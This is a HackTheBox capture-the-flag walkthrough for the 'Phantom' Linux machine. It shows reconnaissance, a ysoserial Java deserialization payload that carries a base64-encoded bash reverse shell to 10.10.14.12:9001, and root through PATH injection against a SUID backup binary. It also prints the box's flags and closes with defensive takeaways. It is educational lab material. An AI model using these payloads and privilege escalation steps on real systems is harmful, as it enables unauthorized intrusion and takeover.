HackTheBox: Phantom Machine Walkthrough

· 12 min read
HackTheBox CTF Linux Privilege Escalation

HackTheBox: Phantom Machine Walkthrough

Difficulty: Medium OS: Linux Release Date: 2025-11-28

Phantom is a medium-difficulty Linux box on HackTheBox that features a Java web application vulnerable to insecure deserialization on port 8080, combined with a privilege escalation path through a custom SUID backup utility. This box is a great exercise in chaining web application exploitation with Linux privilege escalation fundamentals.


Reconnaissance

Initial Nmap Scan

As always, we start with a full TCP port scan to identify the attack surface.

nmap -sC -sV -oA scans/phantom 10.10.11.84
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-30 14:22 EST
Nmap scan report for 10.10.11.84
Host is up (0.038s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:d4:a3:2b:78:53:1d:74:92 (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Phantom Corp - Digital Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http    Apache Tomcat 9.0.65
|_http-title: Phantom Internal Portal
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.84 seconds

Three ports open: SSH (22), an Nginx web server (80), and Apache Tomcat (8080). The Tomcat instance immediately catches my eye since Java applications are frequent targets for deserialization attacks.


Web Enumeration - Port 80

Directory Busting

The Nginx server on port 80 hosts a static corporate site for “Phantom Corp.” Nothing immediately exploitable on the surface, so let’s enumerate directories.

feroxbuster -u http://10.10.11.84 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher
───────────────────────────┬──────────────────────
 Target Url            │ http://10.10.11.84
 Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 Extensions            │ [php, html, txt]
───────────────────────────┴──────────────────────
200      GET       89l      247w     3842c http://10.10.11.84/
301      GET        7l       12w      178c http://10.10.11.84/assets => http://10.10.11.84/assets/
200      GET       14l       38w      521c http://10.10.11.84/robots.txt
301      GET        7l       12w      178c http://10.10.11.84/uploads => http://10.10.11.84/uploads/
200      GET       42l      118w     1847c http://10.10.11.84/contact.html
403      GET        7l       10w      162c http://10.10.11.84/server-status

The /robots.txt reveals a disallowed path:

User-agent: *
Disallow: /internal-docs/
Disallow: /uploads/

Browsing to /internal-docs/ returns a 403, but /uploads/ is listable albeit empty. The static site itself doesn’t offer much, so let’s shift focus to the Tomcat instance.


Web Enumeration - Port 8080

Exploring the Tomcat Application

Port 8080 hosts the “Phantom Internal Portal,” a Java-based employee management application. After creating an account through the registration form, we gain access to the dashboard.

Exploring the application, I notice a user profile feature that allows importing profile data via a serialized Java object. The request looks like this when intercepted in Burp Suite:

POST /portal/api/profile/import HTTP/1.1
Host: 10.10.11.84:8080
Content-Type: application/x-java-serialized-object
Cookie: JSESSIONID=7A8B3C4D5E6F7A8B9C0D1E2F
Content-Length: 1247

[binary serialized data]

The Content-Type: application/x-java-serialized-object header is a strong indicator of Java deserialization. Let’s investigate further.

Identifying the Vulnerability

Examining the application’s error responses and the Tomcat version, I check for known vulnerable libraries. Triggering an intentional error by sending malformed data to the import endpoint reveals a stack trace:

java.io.InvalidClassException: org.apache.commons.collections.functors.InvokerTransformer;
  local class incompatible: stream classdesc serialVersionUID = ...
    at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1718)
    at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1883)

The presence of Apache Commons Collections in the classpath confirms this application is vulnerable to a well-known deserialization attack chain.


Initial Foothold - Deserialization Exploit

Crafting the Payload with ysoserial

We’ll use ysoserial to generate a serialized payload that executes a reverse shell when deserialized by the server.

First, set up our listener:

nc -lvnp 9001

Generate the payload using the CommonsCollections5 gadget chain:

java -jar ysoserial-all.jar CommonsCollections5 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}' \
  > payload.bin

The base64-encoded command decodes to:

bash -i >& /dev/tcp/10.10.14.12/9001 0>&1

We base64-encode the reverse shell command to avoid issues with special characters in the serialization process.

Delivering the Payload

Send the payload using curl:

curl -X POST http://10.10.11.84:8080/portal/api/profile/import \
  -H "Content-Type: application/x-java-serialized-object" \
  -H "Cookie: JSESSIONID=7A8B3C4D5E6F7A8B9C0D1E2F" \
  --data-binary @payload.bin

Back on our listener:

listening on [any] 9001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.84] 42318
bash: cannot set terminal job control: not a terminal
tomcat@phantom:/opt/tomcat$

We have a shell as the tomcat user. Let’s upgrade it:

tomcat@phantom:/opt/tomcat$ python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@phantom:/opt/tomcat$ export TERM=xterm
# Ctrl+Z, then:
# stty raw -echo; fg

User Flag

tomcat@phantom:/opt/tomcat$ cat /home/phantom-user/user.txt
4a7b2c8d9e0f1a2b3c4d5e6f7a8b9c0d

Privilege Escalation

Enumeration

With a stable shell, let’s enumerate for privilege escalation vectors. First, check for SUID binaries:

tomcat@phantom:/opt/tomcat$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/umount
/usr/bin/su
/usr/local/bin/phantom-backup

The /usr/local/bin/phantom-backup binary is non-standard and has the SUID bit set. This is our target.

Analyzing the SUID Binary

tomcat@phantom:/opt/tomcat$ ls -la /usr/local/bin/phantom-backup
-rwsr-xr-x 1 root root 16832 Nov 15 08:30 /usr/local/bin/phantom-backup

tomcat@phantom:/opt/tomcat$ file /usr/local/bin/phantom-backup
/usr/local/bin/phantom-backup: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped

Running the binary with ltrace to understand its behavior:

tomcat@phantom:/opt/tomcat$ ltrace /usr/local/bin/phantom-backup 2>&1 | head -20
setuid(0)                                = 0
system("tar czf /tmp/backup-$(date +%Y%m"... = 0

The binary calls system() with a command that invokes tar and date without absolute paths. This is a classic PATH injection vulnerability. Because the binary has the SUID bit set and runs as root, we can hijack the tar command by manipulating our PATH.

Exploiting PATH Injection

Create a malicious tar script in /tmp:

tomcat@phantom:/opt/tomcat$ echo '#!/bin/bash' > /tmp/tar
tomcat@phantom:/opt/tomcat$ echo '/bin/bash -p' >> /tmp/tar
tomcat@phantom:/opt/tomcat$ chmod +x /tmp/tar

Prepend /tmp to our PATH so our fake tar is found first:

tomcat@phantom:/opt/tomcat$ export PATH=/tmp:$PATH
tomcat@phantom:/opt/tomcat$ /usr/local/bin/phantom-backup
bash-5.1# whoami
root
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root),997(tomcat)

Root Flag

bash-5.1# cat /root/root.txt
9f8e7d6c5b4a3f2e1d0c9b8a7f6e5d4c

Summary

Phantom was a well-designed medium box that chains two common vulnerability classes:

  1. Java Insecure Deserialization - The Tomcat application on port 8080 accepted serialized Java objects and had Apache Commons Collections on the classpath, enabling RCE via ysoserial’s CommonsCollections5 gadget chain.

  2. SUID Binary with PATH Injection - A custom backup utility ran with root privileges via the SUID bit and called tar through system() without specifying the absolute path, allowing us to inject a malicious binary via PATH manipulation.

Key Takeaways

  • Never deserialize untrusted data. If you must accept serialized objects, use allowlists for permitted classes (ObjectInputFilter in Java 9+) or switch to safer serialization formats like JSON.
  • SUID binaries should use absolute paths for all external commands and avoid system() in favor of execve() which does not invoke a shell.
  • Minimize the use of SUID binaries in production environments. Use capabilities (setcap) or sudo rules with specific command restrictions instead.
  • Remove stack traces from production error responses. The verbose error messages helped confirm the vulnerable library in the classpath.